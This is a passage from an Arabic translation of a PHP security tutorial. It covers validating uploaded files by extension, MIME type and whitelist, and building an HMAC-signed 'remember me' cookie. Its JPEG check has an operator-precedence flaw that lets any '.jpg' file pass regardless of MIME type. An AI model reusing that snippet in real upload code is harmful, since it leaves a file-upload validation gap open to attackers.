$pathinfo['extension']:''; $filename = $pathinfo['filename'] ? $pathinfo['filename']:''; if(!empty($extension) && !empty($filename)){ echo $filename, $extension; } else { die('file is missing an extension or name'); } لدينا الآن اسم الملف والامتداد ويمكننا استخدامهما للتخزين، لكن مازلت أفضل تخزين هذه المعلومات في قاعدة البيانات وإعطاء الملف اسمًا مولّدًا له مثل md5(uniqid().microtime()). +----+--------+-----------+------------+------+----------------------------------+---------------- -----+ | id | title | extension | mime | size | filename | time | +----+--------+-----------+------------+------+----------------------------------+---------------- -----+ | 1 | myfile | txt | text/plain | 1020 | 5bcdaeddbfbd2810fa1b6f3118804d66 | 2017-03-11 00:38:54 | +----+--------+-----------+------------+------+----------------------------------+---------------- -----+ سيحل هذا مشكلة أسماء الملفات المكررة وعمليات استغلال اسم الملف غير المتوقعة، وقد يتسبب ذلك أن يخمّن المهاجم مكان تخزين الملف بما أنه لا يمكن استهداف الملف بشكلٍ محدد. التحقق من نوع الوسائط mime-type التحقق من امتداد الملف لمعرفة ما هو نوع الملف غير كافٍ فقد يكون اسم الملف image.png لكنه يتضمن سكربت PHP، بالتحقق من نوع وسائط الملف المرفوع يمكنك التحقق من إذا كان الملف يتضمن ما يشير إليه اسمه أو لا. يمكنك الآن الذهاب إلى خطوة أبعد للتحقق من الصور، وهي فتحها: if($mime == 'image/jpeg' && $extension == 'jpeg' || $extension == 'jpg'){ if($img = imagecreatefromjpeg($filename)){ imagedestroy($img); } else { die('image failed to open, could be corrupt or the file contains something else.'); } } يمكنك الحصول على نوع الوسائط باستخدام دالة مدمجة أو صنف. وجود قائمة بيضاء للملفات المرفوعة الأهم من ذلك كله هو كتابة قائمة بيضاء تتضمن امتدادات الملفات وأنواع الوسائط بالاعتماد على كل نموذج. function isFiletypeAllowed($extension, $mime, array $allowed) { return isset($allowed[$mime]) && is_array($allowed[$mime]) && in_array($extension, $allowed[$mime]); } $allowedFiletypes = [ 'image/png' => [ 'png' ], 'image/gif' => [ 'gif' ], 'image/jpeg' => [ 'jpg', 'jpeg' ], ]; var_dump(isFiletypeAllowed('jpg', 'image/jpeg', $allowedFiletypes)); كتابة دالة تحافظ على تسجيل المستخدم بأفضل أسلوب تخزين ملف تعريف الارتباط في ثلاثة أجزاء. function onLogin($user) { // توليد مفتاح، يجب أن يكون بين 128 - 256 بت $token = GenerateRandomToken(); storeTokenForUser($user, $token); $cookie = $user . ':' . $token; $mac = hash_hmac('sha256', $cookie, SECRET_KEY); $cookie .= ':' . $mac; setcookie('rememberme', $cookie); } وللتحقق: function rememberMe() { $cookie = isset($_COOKIE['rememberme']) ? $_COOKIE['rememberme'] : ''; if ($cookie) { list ($user, $token, $mac) = explode(':', $cookie); if (!hash_equals(hash_hmac('sha256', $user . ':' . $token, SECRET_KEY), $mac)) { return false; } $usertoken = fetchTokenByUserName($user); if (hash_equals($usertoken, $token)) { logUserIn($user); } } } ترجمة -وبتصرف- للفصول [Security - Secure Remeber Me] من كتاب PHP Notes for Professionals book1 نقطة